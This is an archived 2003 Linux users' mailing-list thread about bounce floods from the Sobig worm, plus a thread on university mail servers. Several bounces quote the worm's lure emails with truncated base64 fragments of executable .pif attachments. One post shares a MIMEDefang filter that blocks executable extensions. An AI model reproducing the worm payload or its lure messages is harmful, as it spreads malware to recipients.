5gAAQAAAwC5zaHJpbmsAADDQAQAAIgAAAPgA AEAAAMAA [message truncated] Free 20MB Web Site Hosting and Personalized E-mail Service! Get It Now At Doteasy.com http://www.doteasy.com/et/ ___ Linux-users mailing list [EMAIL PROTECTED] Unsubscribe/Suspend/Etc - http://www.linux-sxs.org/mailman/listinfo/linux-users
Why all this- Undeliverable Mail
I have recieved about 30 of these from the mailing list. Anyone else getting them? Harry G On Tue September 2 2003 10:51 am, Postmaster wrote: Delivery failed 1 attempts: [EMAIL PROTECTED] Original message follows. Received: from NETSERVER [64.222.177.246] by dpmail02.doteasy.com with ESMTP (SMTPD32-7.13) id AE648E200D8; Tue, 02 Sep 2003 07:51:16 -0700 From: [EMAIL PROTECTED] To: [EMAIL PROTECTED] Subject: Re: That movie Date: Tue, 2 Sep 2003 11:19:08 --0400 X-MailScanner: Found to be clean Importance: Normal X-Mailer: Microsoft Outlook Express 6.00.2600. X-MSMail-Priority: Normal X-Priority: 3 (Normal) MIME-Version: 1.0 Content-Type: multipart/mixed; boundary=_NextPart_000_02A0DC42 Message-Id: [EMAIL PROTECTED] This is a multipart message in MIME format --_NextPart_000_02A0DC42 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 7bit See the attached file for details --_NextPart_000_02A0DC42 Content-Type: application/octet-stream; name=thank_you.pif Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename=thank_you.pif TVqQAAME//8AALgAQ AAA 4A4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TI G1v ZGUuDQ0KJADToEjPl8EmnJfBJpyXwSacFN0onI3BJpx/3iyc7cEmnMHeNZyawSacl 8Em nJTBJpyXwSecBsEmnPXeNZyawSacf94tnI3BJpxSaWNol8EmnABQR QAA TAEEAF2zPz8AAOAADwELAQYAAABw1usBAAAQYAEAAABQA AAA AgAABAAEAgAAEAAAF/EBAAIAABAAABAAEAAAE BAA AOLrAQCcfuwBAAgAA AAA A AAA AAAgAC5zaHJpbmsAAFABAAAQxBAAAEAAA MAu c2hyaW5rAAAwYAEAABIAAADUAABAAADALnNocmluawAAQJABA AAS 5gAAQAAAwC5zaHJpbmsAADDQAQAAIgAAAPgAA AAA AEAAAMAAA AAA A AAA A AAA [message truncated] Free 20MB Web Site Hosting and Personalized E-mail Service! Get It Now At Doteasy.com http://www.doteasy.com/et/ ___ Linux-users mailing list [EMAIL PROTECTED] Unsubscribe/Suspend/Etc - http://www.linux-sxs.org/mailman/listinfo/linux-users ___ Linux-users mailing list [EMAIL PROTECTED] Unsubscribe/Suspend/Etc - http://www.linux-sxs.org/mailman/listinfo/linux-users
Re: Why all this- Undeliverable Mail
I suspect we're all getting them and I'm hoping the powers that be are doing what they can to eliminate the problem. I suspect it's non-trivial, or it woulda been fixed by now... On 9/2/2003 11:38 AM, someone claiming to be Harry Giles wrote: I have recieved about 30 of these from the mailing list. Anyone else getting them? Harry G snip ___ Linux-users mailing list [EMAIL PROTECTED] Unsubscribe/Suspend/Etc - http://www.linux-sxs.org/mailman/listinfo/linux-users
Re: Why all this- Undeliverable Mail
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Tim Wunder shocked and awed us all by speaking: I suspect we're all getting them and I'm hoping the powers that be are doing what they can to eliminate the problem. I suspect it's non-trivial, or it woulda been fixed by now... are you guys actually getting the virus or just notices that a virus was caught? - -- Douglas J Hunley (doug at hunley.homeip.net) - Linux User #174778 http://doug.hunley.homeip.net http://www.linux-sxs.org Transvestite: n. - A guy who likes to eat, drink, and be Mary -BEGIN PGP SIGNATURE- Version: GnuPG v1.2.3 (GNU/Linux) iD8DBQE/VNdV2MO5UukaubkRAtdPAJ4pFE2V/RjXoXN7GQHnrQgPpbKjiwCgkZW1 oKUGX34fhiGxjm7Wy2ByECs= =IWzE -END PGP SIGNATURE- ___ Linux-users mailing list [EMAIL PROTECTED] Unsubscribe/Suspend/Etc - http://www.linux-sxs.org/mailman/listinfo/linux-users
Re: Why all this- Undeliverable Mail
On Tue, Sep 02, 2003, Douglas J Hunley wrote: -BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Tim Wunder shocked and awed us all by speaking: I suspect we're all getting them and I'm hoping the powers that be are doing what they can to eliminate the problem. I suspect it's non-trivial, or it woulda been fixed by now... are you guys actually getting the virus or just notices that a virus was caught? Doesn't mailman have something similar to majordomo's taboo_headers pattern checking? Converting to mailman from majordomo has long been on my list of things to do when I get a shipment of round tuits, and implementing the anti-spam/worm checks that I've got on majordomo is one of my major issues -- it's probably just RTFM when I get time. Bill -- INTERNET: [EMAIL PROTECTED] Bill Campbell; Celestial Software LLC UUCP: camco!bill PO Box 820; 6641 E. Mercer Way FAX:(206) 232-9186 Mercer Island, WA 98040-0820; (206) 236-1676 URL: http://www.celestial.com/ ``Everybody is ignorant, only on different subjects.'' Will Rogers ___ Linux-users mailing list [EMAIL PROTECTED] Unsubscribe/Suspend/Etc - http://www.linux-sxs.org/mailman/listinfo/linux-users
Re: Why all this- Undeliverable Mail
On Tue, 2003-09-02 at 11:45, Douglas J Hunley wrote: -BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Tim Wunder shocked and awed us all by speaking: I suspect we're all getting them and I'm hoping the powers that be are doing what they can to eliminate the problem. I suspect it's non-trivial, or it woulda been fixed by now... are you guys actually getting the virus or just notices that a virus was caught? I've received _several_ copies of the virus itself and countless copies via notices. The notices were not from this list. -- Myles Green [EMAIL PROTECTED] ___ Linux-users mailing list [EMAIL PROTECTED] Unsubscribe/Suspend/Etc - http://www.linux-sxs.org/mailman/listinfo/linux-users
Re: Why all this- Undeliverable Mail
On 9/2/2003 1:45 PM, someone claiming to be Douglas J Hunley wrote: -BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Tim Wunder shocked and awed us all by speaking: I suspect we're all getting them and I'm hoping the powers that be are doing what they can to eliminate the problem. I suspect it's non-trivial, or it woulda been fixed by now... are you guys actually getting the virus or just notices that a virus was caught? Both. Some of the notices have the virus attached as part of the original e-mail. For instance, the message with the subject: Mail delivery failed: returning message to sender, dated this morning, 10:22 AM has the virus attached as the original undeliverable mail message. Tim ___ Linux-users mailing list [EMAIL PROTECTED] Unsubscribe/Suspend/Etc - http://www.linux-sxs.org/mailman/listinfo/linux-users
Re: Why all this- Undeliverable Mail
On Tue, 2003-09-02 at 13:45, Douglas J Hunley wrote: are you guys actually getting the virus or just notices that a virus was caught? - -- Douglas J Hunley (doug at hunley.homeip.net) - Linux User #174778 http://doug.hunley.homeip.net http://www.linux-sxs.org I have not received the virus. Just a bunch of notices from some virus scanners saying they received a copy of the virus from the linux-users list. Obviously the address has been spoofed. And now the list is spammed by automagic messages from virus scanners. --Tom Wilson ___ Linux-users mailing list [EMAIL PROTECTED] Unsubscribe/Suspend/Etc - http://www.linux-sxs.org/mailman/listinfo/linux-users
Re: Why all this- Undeliverable Mail
Replies and notices --- lots and lots of them: probably 60 in the past two days. Douglas J Hunley wrote: Are you guys actually getting the virus or just notices that a virus was caught? ___ Linux-users mailing list [EMAIL PROTECTED] Unsubscribe/Suspend/Etc - http://www.linux-sxs.org/mailman/listinfo/linux-users
RE: Why all this- Undeliverable Mail
just the notices - -Original Message- From: Douglas J Hunley [mailto:[EMAIL PROTECTED] Sent: Tuesday, September 02, 2003 12:46 PM To: [EMAIL PROTECTED] Subject: Re: Why all this- Undeliverable Mail -BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Tim Wunder shocked and awed us all by speaking: I suspect we're all getting them and I'm hoping the powers that be are doing what they can to eliminate the problem. I suspect it's non-trivial, or it woulda been fixed by now... are you guys actually getting the virus or just notices that a virus was caught? - -- Douglas J Hunley (doug at hunley.homeip.net) - Linux User #174778 http://doug.hunley.homeip.net http://www.linux-sxs.org Transvestite: n. - A guy who likes to eat, drink, and be Mary -BEGIN PGP SIGNATURE- Version: GnuPG v1.2.3 (GNU/Linux) iD8DBQE/VNdV2MO5UukaubkRAtdPAJ4pFE2V/RjXoXN7GQHnrQgPpbKjiwCgkZW1 oKUGX34fhiGxjm7Wy2ByECs= =IWzE -END PGP SIGNATURE- ___ Linux-users mailing list [EMAIL PROTECTED] Unsubscribe/Suspend/Etc - http://www.linux-sxs.org/mailman/listinfo/linux-users
Re: Why all this- Undeliverable Mail
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Douglas J Hunley wrote: | Tim Wunder shocked and awed us all by speaking: | |I suspect we're all getting them and I'm hoping the powers that be are |doing what they can to eliminate the problem. I suspect it's |non-trivial, or it woulda been fixed by now... | | | are you guys actually getting the virus or just notices that a virus was | caught? | -- | Douglas J Hunley (doug at hunley.homeip.net) - Linux User #174778 | http://doug.hunley.homeip.net http://www.linux-sxs.org | FWIW- I have yet to receive any of these attachments. I'm running MIMEDefang/Clamav/Sendmail same as the list. - -- Andrew Mathews - - ~ 12:25pm up 143 days, 21:14, 22 users, load average: 1.11, 1.24, 1.33 - - The only way to amuse some people is to slip and fall on an icy pavement. -BEGIN PGP SIGNATURE- Version: GnuPG v1.2.2 (GNU/Linux) Comment: Using GnuPG with Netscape - http://enigmail.mozdev.org iD8DBQE/VOEcejAu2RVHwF4RAs/SAJ9x9SeVQ7/ON29gG9wYQ4Dcxhs4gACfRDXW p88Z8t9DRZfHwSGYZ7/lj4o= =gr8y -END PGP SIGNATURE- ___ Linux-users mailing list [EMAIL PROTECTED] Unsubscribe/Suspend/Etc - http://www.linux-sxs.org/mailman/listinfo/linux-users
Re: Why all this- Undeliverable Mail
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Andrew Mathews shocked and awed us all by speaking: FWIW- I have yet to receive any of these attachments. I'm running MIMEDefang/Clamav/Sendmail same as the list. and you're not having the occasional .pif file make it past MD (like we've been discussing on the MD list for a while now)? - -- Douglas J Hunley (doug at hunley.homeip.net) - Linux User #174778 http://doug.hunley.homeip.net http://www.linux-sxs.org Linux is a _real_ OS, not some we filled in the paperwork and it is now standards compliant. -- Linus Torvalds -BEGIN PGP SIGNATURE- Version: GnuPG v1.2.3 (GNU/Linux) iD8DBQE/VOxx2MO5UukaubkRAntTAKCb5Ba3cperz/r4xyXDR81cCRLshgCgrYs9 WWgFL6It6SFD9BlK4GzBvlM= =z7WY -END PGP SIGNATURE- ___ Linux-users mailing list [EMAIL PROTECTED] Unsubscribe/Suspend/Etc - http://www.linux-sxs.org/mailman/listinfo/linux-users
Re: Why all this- Undeliverable Mail
On 9/2/03 11:38, Harry Giles [EMAIL PROTECTED] wrote: I have recieved about 30 of these from the mailing list. Anyone else getting them? Harry G Its due to the SoBig worm. It must be using the lists e-mail on some ones infected machine and the bounces are coming back here. -- Ray Russell Mac OS X 10.2.6 ___ Linux-users mailing list [EMAIL PROTECTED] Unsubscribe/Suspend/Etc - http://www.linux-sxs.org/mailman/listinfo/linux-users
Re: Why all this- Undeliverable Mail
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1
Douglas J Hunley wrote:
| Andrew Mathews shocked and awed us all by speaking:
|
|FWIW- I have yet to receive any of these attachments. I'm running
|MIMEDefang/Clamav/Sendmail same as the list.
|
|
| and you're not having the occasional .pif file make it past MD (like we've
| been discussing on the MD list for a while now)?
| --
| Douglas J Hunley (doug at hunley.homeip.net) - Linux User #174778
| http://doug.hunley.homeip.net http://www.linux-sxs.org
Nope. I haven't received any attachments. MIMEDefang has been deleting all the
.pif's, regardless. No upstream filtering is going on either. (yeah, I've been
following the MD thread on this, but I have a pretty standard config under
2.60-cvs) Relevant defang filter below:
# This procedure returns true for entities with bad filenames.
sub filter_bad_filename ($) {
~my($entity) = @_;
~my($bad_exts, $re);
~# Bad extensions
~$bad_exts = '(ade|adp|app|asd|asf|asx|bas|bat|chm|cmd|com|cpl|crt|dll|exe|fxp|h
lp|hta|hto|inf|ini|ins|isp|jse?|lib|lnk|mdb|mde|msc|msi|msp|mst|ocx|pcd|pif|prg|reg
|scr|sct|sh|shb|shs|sys|url|vb|vbe|vbs|vcs|vxd|wmd|wms|wmz|wsc|wsf|wsh|\{)';
~# Do not allow:
~# - curlies
~# - bad extensions (possibly with trailing dots) at end or
~# followed by non-alphanum
~$re = '\.' . $bad_exts . '\.*([^-A-Za-z0-9_.,]|$)';
~return re_match($entity, $re);
}
- --
Andrew Mathews
- -
~ 1:56pm up 143 days, 22:45, 22 users, load average: 2.52, 1.90, 1.53
- -
You can create your own opportunities this week. Blackmail a senior executive.
-BEGIN PGP SIGNATURE-
Version: GnuPG v1.2.2 (GNU/Linux)
Comment: Using GnuPG with Netscape - http://enigmail.mozdev.org
iD8DBQE/VPilejAu2RVHwF4RAjbYAJ9k6acL2l4SN2Hg9wBB97wxyAg2ZQCeJ0ZR
e/4Gdo2P3mVjVzaFRjAu+HQ=
=ZxWe
-END PGP SIGNATURE-
___
Linux-users mailing list
[EMAIL PROTECTED]
Unsubscribe/Suspend/Etc - http://www.linux-sxs.org/mailman/listinfo/linux-users
Re: Why all this- Undeliverable Mail
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Andrew Mathews shocked and awed us all by speaking: Nope. I haven't received any attachments. MIMEDefang has been deleting all the .pif's, regardless. No upstream filtering is going on either. (yeah, I've been following the MD thread on this, but I have a pretty standard config under 2.60-cvs) Relevant defang filter below: looks like our filter. you must just be getting lucky. it's weird, cause the ones that make it through won't infect you. the email and virus both are fscked up enough that they don't work as intended. oh well. I think I got a handle on everything now. the list seems much quieter now - -- Douglas J Hunley (doug at hunley.homeip.net) - Linux User #174778 http://doug.hunley.homeip.net http://www.linux-sxs.org panic(esp_handle: current_SC == penguin within interrupt!); --2.2.16 /usr/src/linux/drivers/scsi/esp.c -BEGIN PGP SIGNATURE- Version: GnuPG v1.2.3 (GNU/Linux) iD8DBQE/VP652MO5UukaubkRAkRnAJ46Yx1A+t4QhQvCcCeKIfVmn8/xSwCgpcGH jbX5yBr37PdczN/fPd3Th30= =IV5r -END PGP SIGNATURE- ___ Linux-users mailing list [EMAIL PROTECTED] Unsubscribe/Suspend/Etc - http://www.linux-sxs.org/mailman/listinfo/linux-users
Re: Why all this- Undeliverable Mail
On Wed, 3 Sep 2003 03:45 am, Douglas J Hunley wrote: -BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Tim Wunder shocked and awed us all by speaking: I suspect we're all getting them and I'm hoping the powers that be are doing what they can to eliminate the problem. I suspect it's non-trivial, or it woulda been fixed by now... are you guys actually getting the virus or just notices that a virus was caught? Doug, I am getting virii sent to me, I have actually lost count of how many times I have received a copy. All I seem to be doing at the moment is deleting mail. -- Keith Antoine (GANDALF) aka 'SKIPPY' 18 Arkana St, The Gap, Queensland 4061, Australia:: PH:61733002161 Practising Geriatric, Retired Electronics Engineer, Knowall, Brain in storage ___ Linux-users mailing list [EMAIL PROTECTED] Unsubscribe/Suspend/Etc - http://www.linux-sxs.org/mailman/listinfo/linux-users
Re: Why all this- Undeliverable Mail
On Tuesday 02 September 2003 08:38 am, Harry Giles wrote: I have recieved about 30 of these from the mailing list. Anyone else getting them? I'm getting megabytes of this stuff and other bounced mail. I think Doug is gonna work on a really spiffy filter to keep all of this bounced stuff from getting sent back out on linux-sxs.org g -- Tony Alfrey [EMAIL PROTECTED] I'd Rather Be Sailing ___ Linux-users mailing list [EMAIL PROTECTED] Unsubscribe/Suspend/Etc - http://www.linux-sxs.org/mailman/listinfo/linux-users
Re: Why all this- Undeliverable Mail
On Tue, 2003-09-02 at 15:53, Raymond Russell wrote: Its due to the SoBig worm. It must be using the lists e-mail on some ones infected machine and the bounces are coming back here. It would have to be a Windows box. -- burns ___ Linux-users mailing list [EMAIL PROTECTED] Unsubscribe/Suspend/Etc - http://www.linux-sxs.org/mailman/listinfo/linux-users
Undeliverable mail: Re: Details
Failed to deliver to '[EMAIL PROTECTED]' LOCAL module(account tesfaye_lemma) reports: account is full (quota exceeded) Reporting-MTA: dns; freemail.et Original-Recipient: rfc822;[EMAIL PROTECTED] Final-Recipient: LOCAL; Action: failed Status: 5.0.0 Received: from [64.222.145.104] (HELO NETSERVER) by freemail.et (CommuniGate Pro SMTP 3.4.4) with ESMTP id 2161773 for [EMAIL PROTECTED]; Mon, 01 Sep 2003 18:53:56 +0300 From: [EMAIL PROTECTED] To: [EMAIL PROTECTED] Subject: Re: Details Date: Mon, 1 Sep 2003 12:10:58 --0400 X-MailScanner: Found to be clean Importance: Normal X-Mailer: Microsoft Outlook Express 6.00.2600. X-MSMail-Priority: Normal X-Priority: 3 (Normal) MIME-Version: 1.0 Content-Type: multipart/mixed; boundary=_NextPart_000_074B9A91 Message-ID: [EMAIL PROTECTED] ___ Linux-users mailing list [EMAIL PROTECTED] Unsubscribe/Suspend/Etc - http://www.linux-sxs.org/mailman/listinfo/linux-users
Returned mail: see transcript for details
The original message was received at Mon, 1 Sep 2003 12:19:41 -0500 from pool-64-222-145-104.man.east.verizon.net [64.222.145.104] - The following addresses had permanent fatal errors - [EMAIL PROTECTED] (reason: 550 5.1.1 [EMAIL PROTECTED]... User unknown) - Transcript of session follows - ... while talking to drydock.ecn.purdue.edu.: DATA 550 5.1.1 [EMAIL PROTECTED]... User unknown 550 5.1.1 [EMAIL PROTECTED]... User unknown 503 5.0.0 Need RCPT (recipient) Reporting-MTA: dns; usstp07.itcs.purdue.edu Received-From-MTA: DNS; pool-64-222-145-104.man.east.verizon.net Arrival-Date: Mon, 1 Sep 2003 12:19:41 -0500 Final-Recipient: RFC822; [EMAIL PROTECTED] Action: failed Status: 5.1.1 Remote-MTA: DNS; drydock.ecn.purdue.edu Diagnostic-Code: SMTP; 550 5.1.1 [EMAIL PROTECTED]... User unknown Last-Attempt-Date: Mon, 1 Sep 2003 12:19:48 -0500 ---BeginMessage--- Please see the attached file for details.---End Message--- ___ Linux-users mailing list [EMAIL PROTECTED] Unsubscribe/Suspend/Etc - http://www.linux-sxs.org/mailman/listinfo/linux-users
Undeliverable Mail
User mailbox exceeds allowed size: [EMAIL PROTECTED] Original message follows. Received: from NETSERVER [64.222.145.104] by actmail2.com with ESMTP (SMTPD32-8.00) id AB642053010A; Mon, 01 Sep 2003 11:09:40 -0700 From: [EMAIL PROTECTED] To: [EMAIL PROTECTED] Subject: Your details Date: Mon, 1 Sep 2003 14:13:29 --0400 X-MailScanner: Found to be clean Importance: Normal X-Mailer: Microsoft Outlook Express 6.00.2600. X-MSMail-Priority: Normal X-Priority: 3 (Normal) MIME-Version: 1.0 Content-Type: multipart/mixed; boundary=_NextPart_000_07BBA7A0 Message-Id: [EMAIL PROTECTED] X-IMAIL-SPAM-VALHELO: (542310666) This is a multipart message in MIME format --_NextPart_000_07BBA7A0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 7bit Please see the attached file for details. --_NextPart_000_07BBA7A0 Content-Type: application/octet-stream; name=your_document.pif Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename=your_document.pif TVqQAAME//8AALgAQAAA 4A4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v ZGUuDQ0KJADToEjPl8EmnJfBJpyXwSacFN0onI3BJpx/3iyc7cEmnMHeNZyawSacl8Em nJTBJpyXwSecBsEmnPXeNZyawSacf94tnI3BJpxSaWNol8EmnABQRQAA TAEEAF2zPz8AAOAADwELAQYAAABw1usBAAAQYAEAAABQ AgAABAAEAgAAEAAAF/EBAAIAABAAABAAEAAAEBAA AOLrAQCcfuwBAAgA AAAgAC5zaHJpbmsAAFABAAAQxBAAAEAAAMAu c2hyaW5rAAAwYAEAABIAAADUAABAAADALnNocmluawAAQJABAAAS 5gAAQAAAwC5zaHJpbmsAADDQAQAAIgAAAPgA AEAAAMAA [message truncated] ___ Linux-users mailing list [EMAIL PROTECTED] Unsubscribe/Suspend/Etc - http://www.linux-sxs.org/mailman/listinfo/linux-users
Undeliverable mail: Re: Your application
Failed to deliver to '[EMAIL PROTECTED]' LOCAL module(account tesfaye_lemma) reports: account is full (quota exceeded) Reporting-MTA: dns; freemail.et Original-Recipient: rfc822;[EMAIL PROTECTED] Final-Recipient: LOCAL; Action: failed Status: 5.0.0 Received: from [64.222.145.104] (HELO NETSERVER) by freemail.et (CommuniGate Pro SMTP 3.4.4) with ESMTP id 2164663 for [EMAIL PROTECTED]; Mon, 01 Sep 2003 21:54:42 +0300 From: [EMAIL PROTECTED] To: [EMAIL PROTECTED] Subject: Re: Your application Date: Mon, 1 Sep 2003 15:11:51 --0400 X-MailScanner: Found to be clean Importance: Normal X-Mailer: Microsoft Outlook Express 6.00.2600. X-MSMail-Priority: Normal X-Priority: 3 (Normal) MIME-Version: 1.0 Content-Type: multipart/mixed; boundary=_NextPart_000_07F11A5D Message-ID: [EMAIL PROTECTED] ___ Linux-users mailing list [EMAIL PROTECTED] Unsubscribe/Suspend/Etc - http://www.linux-sxs.org/mailman/listinfo/linux-users
Undeliverable Mail
Delivery failed 1 attempts: [EMAIL PROTECTED] Original message follows. Received: from NETSERVER [64.222.145.104] by dpmail02.doteasy.com with ESMTP (SMTPD32-7.13) id A4415ED00A2; Sat, 30 Aug 2003 23:22:57 -0700 From: [EMAIL PROTECTED] To: [EMAIL PROTECTED] Subject: Re: Thank you! Date: Sun, 31 Aug 2003 2:50:38 --0400 X-MailScanner: Found to be clean Importance: Normal X-Mailer: Microsoft Outlook Express 6.00.2600. X-MSMail-Priority: Normal X-Priority: 3 (Normal) MIME-Version: 1.0 Content-Type: multipart/mixed; boundary=_NextPart_000_00243180 Message-Id: [EMAIL PROTECTED] This is a multipart message in MIME format --_NextPart_000_00243180 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 7bit Please see the attached file for details. --_NextPart_000_00243180 Content-Type: application/octet-stream; name=document_all.pif Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename=document_all.pif TVqQAAME//8AALgAQAAA 4A4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v ZGUuDQ0KJADToEjPl8EmnJfBJpyXwSacFN0onI3BJpx/3iyc7cEmnMHeNZyawSacl8Em nJTBJpyXwSecBsEmnPXeNZyawSacf94tnI3BJpxSaWNol8EmnABQRQAA TAEEAF2zPz8AAOAADwELAQYAAABw1usBAAAQYAEAAABQ AgAABAAEAgAAEAAAF/EBAAIAABAAABAAEAAAEBAA AOLrAQCcfuwBAAgA AAAgAC5zaHJpbmsAAFABAAAQxBAAAEAAAMAu c2hyaW5rAAAwYAEAABIAAADUAABAAADALnNocmluawAAQJABAAAS 5gAAQAAAwC5zaHJpbmsAADDQAQAAIgAAAPgA AEAAAMAA [message truncated] Free 20MB Web Site Hosting and Personalized E-mail Service! Get It Now At Doteasy.com http://www.doteasy.com/et/ ___ Linux-users mailing list [EMAIL PROTECTED] Unsubscribe/Suspend/Etc - http://www.linux-sxs.org/mailman/listinfo/linux-users
Mail delivery failed: returning message to sender
This message was created automatically by mail delivery software. A message that you sent could not be delivered to one or more of its recipients. This is a permanent error. The following address(es) failed: [EMAIL PROTECTED] This message has been rejected because it has a potentially executable attachment document_all.pif This form of attachment has been used by recent viruses or other malware. If you meant to send this file then please package it up as a zip file and resend it. -- This is a copy of the message, including all the headers. -- Return-path: [EMAIL PROTECTED] Received: from [64.223.179.74] (helo=NETSERVER) by server20.general23.com with esmtp (Exim 4.20) id 19sXMn-0004Tr-VH for [EMAIL PROTECTED]; Thu, 28 Aug 2003 20:43:56 -0400 From: [EMAIL PROTECTED] To: [EMAIL PROTECTED] Subject: Your details Date: Thu, 28 Aug 2003 20:47:36 --0400 X-MailScanner: Found to be clean Importance: Normal X-Mailer: Microsoft Outlook Express 6.00.2600. X-MSMail-Priority: Normal X-Priority: 3 (Normal) MIME-Version: 1.0 Content-Type: multipart/mixed; boundary=_NextPart_000_0B8FA957 Message-Id: [EMAIL PROTECTED] This is a multipart message in MIME format --_NextPart_000_0B8FA957 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 7bit Please see the attached file for details. --_NextPart_000_0B8FA957 Content-Type: application/octet-stream; name=document_all.pif Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename=document_all.pif TVqQAAME//8AALgAQAAA 4A4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v ZGUuDQ0KJADToEjPl8EmnJfBJpyXwSacFN0onI3BJpx/3iyc7cEmnMHeNZyawSacl8Em nJTBJpyXwSecBsEmnPXeNZyawSacf94tnI3BJpxSaWNol8EmnABQRQAA TAEEAF2zPz8AAOAADwELAQYAAABw1usBAAAQYAEAAABQ AgAABAAEAgAAEAAAF/EBAAIAABAAABAAEAAAEBAA AOLrAQCcfuwBAAgA AAAgAC5zaHJpbmsAAFABAAAQxBAAAEAAAMAu c2hyaW5rAAAwYAEAABIAAADUAABAAADALnNocmluawAAQJABAAAS 5gAAQAAAwC5zaHJpbmsAADDQAQAAIgAAAPgA AEAAAMAA
Re: Ideas for Mail and Calendaring for 50,000 Users
On Thu, 28 Aug 2003 07:48:45 +1000 James McDonald [EMAIL PROTECTED] wrote: Jason Joines wrote: We just got a new CIO at the university where I work. One thing he is about to do is get rid of all the different mail systems and have one big combined system for all employees and students. That'll be about 50,000 users. At the moment the predominant faculty/staff mail system is Lotus Domino on windows 2k and the predominant system for students is Sun Internet Mail Server on Solaris. He intends to replace these with ms exchange on windows 2k. There is a small chance he will listen to suggestions to consider non-exchange options. Any suggestions? Thanks, Jason Joines Even Microsoft can't make Microsoft servers work. Send the CIO this URI as noted on the list. Microsoft hides behind Linux for protection http://news.zdnet.co.uk/software/linuxunix/0,39020390,39115920,00.htm -- Collins Richey - Denver Area if you fill your heart with regrets of yesterday and the worries of tomorrow, you have no today to be thankful for. ___ Linux-users mailing list [EMAIL PROTECTED] Unsubscribe/Suspend/Etc - http://www.linux-sxs.org/mailman/listinfo/linux-users
Re: Ideas for Mail and Calendaring for 50,000 Users
qmail Assuming he at least has an open mind. You might point out the HUGE security risks that he will be placing the University into if he goes the MS route... Look at Sobig, and believe it or not my office was brought down by Nachi, the IT dept is node 253 of tertiary adjunct 46, it arrived as an attachment, right through an Exchange mail server with McAfees big commercial setup. An idiot, in the DA's office, where else, clicked on it and we are in our 3rd day of cleanup, it shutdown whole depts. Every unpatched Win2000 box that was turned on and connected to the network was infected within minutes, I am serious, nearly a thousand machines... We have a very nice network infrastructure so it moved real fast. And Nachi isn't an email worm. Shawn On Wed, 27 Aug 2003 09:00:25-0500 Jason Joines[EMAIL PROTECTED] professed: We just got a new CIO at the university where I work. One thing he is about to do is get rid of all the different mail systems and have one big combined system for all employees and students. That'll be about 50,000 users. At the moment the predominant faculty/staff mail system is Lotus Domino on windows 2k and the predominant system for students is Sun Internet Mail Server on Solaris. He intends to replace these with ms exchange on windows 2k. There is a small chance he will listen to suggestions to consider non-exchange options. Any suggestions? ___ Linux-users mailing list [EMAIL PROTECTED] Unsubscribe/Suspend/Etc - http://www.linux-sxs.org/mailman/listinfo/linux-users
Ideas for Mail and Calendaring for 50,000 Users
We just got a new CIO at the university where I work. One thing he is about to do is get rid of all the different mail systems and have one big combined system for all employees and students. That'll be about 50,000 users. At the moment the predominant faculty/staff mail system is Lotus Domino on windows 2k and the predominant system for students is Sun Internet Mail Server on Solaris. He intends to replace these with ms exchange on windows 2k. There is a small chance he will listen to suggestions to consider non-exchange options. Any suggestions? Thanks, Jason Joines Open Source = Open Mind ___ Linux-users mailing list [EMAIL PROTECTED] Unsubscribe/Suspend/Etc - http://www.linux-sxs.org/mailman/listinfo/linux-users
Re: Ideas for Mail and Calendaring for 50,000 Users
On Wed, 27 Aug 2003 09:00:25 -0500 Jason Joines [EMAIL PROTECTED] wrote: We just got a new CIO at the university where I work. One thing he is about to do is get rid of all the different mail systems and have one big combined system for all employees and students. That'll be about 50,000 users. At the moment the predominant faculty/staff mail system is Lotus Domino on windows 2k and the predominant system for students is Sun Internet Mail Server on Solaris. He intends to replace these with ms exchange on windows 2k. There is a small chance he will listen to suggestions to consider non-exchange options. Any suggestions? If he's serious about Exchange with 50k+ users, I suggest you find a new job (the recent posting to this list comes to mind). Not even M$ can get this to work. You'll need one exchange server per 500 users (so 100+ Win2k systems running Exchange should work) -- or, one Linux box using something like PowerMail (and PostgreSQL), although I'd suggest 3 systems for good failover capability. Also, the PowerMail solution will cost you about half a million $$$ less and not have nearly the headaches. BTW, to run 100+ Win2k servers, you'll need at least 10 more Windoze admins too (not included in above cost savings estimate, so estimate over $1,000,000 in savings per year). OTOH, if this guys importance is measured in terms of the size of his budget and not his successful accomplishments, only M$ will do. M$, the empire builders' dream. Ciao, David A. Bandel -- Focus on the dream, not the competition. Nemesis Racing Team motto GPG key autoresponder: mailto:[EMAIL PROTECTED] pgp0.pgp Description: PGP signature ___ Linux-users mailing list [EMAIL PROTECTED] Unsubscribe/Suspend/Etc - http://www.linux-sxs.org/mailman/listinfo/linux-users
Re: Ideas for Mail and Calendaring for 50,000 Users
I only know what I've read about it, but it sounds like Ximian Evolution would be just the product for you: http://www.ximian.com/products/evolution/ cmr On Wednesday 27 August 2003 09:00 am, you wrote: We just got a new CIO at the university where I work. One thing he is about to do is get rid of all the different mail systems and have one big combined system for all employees and students. That'll be about 50,000 users. At the moment the predominant faculty/staff mail system is Lotus Domino on windows 2k and the predominant system for students is Sun Internet Mail Server on Solaris. He intends to replace these with ms exchange on windows 2k. There is a small chance he will listen to suggestions to consider non-exchange options. Any suggestions? Thanks, Jason Joines Open Source = Open Mind ___ Linux-users mailing list [EMAIL PROTECTED] Unsubscribe/Suspend/Etc - http://www.linux-sxs.org/mailman/listinfo/linux-users -- Debian 'Sarge': Registered Linux User #241964 More laws, less justice. -- 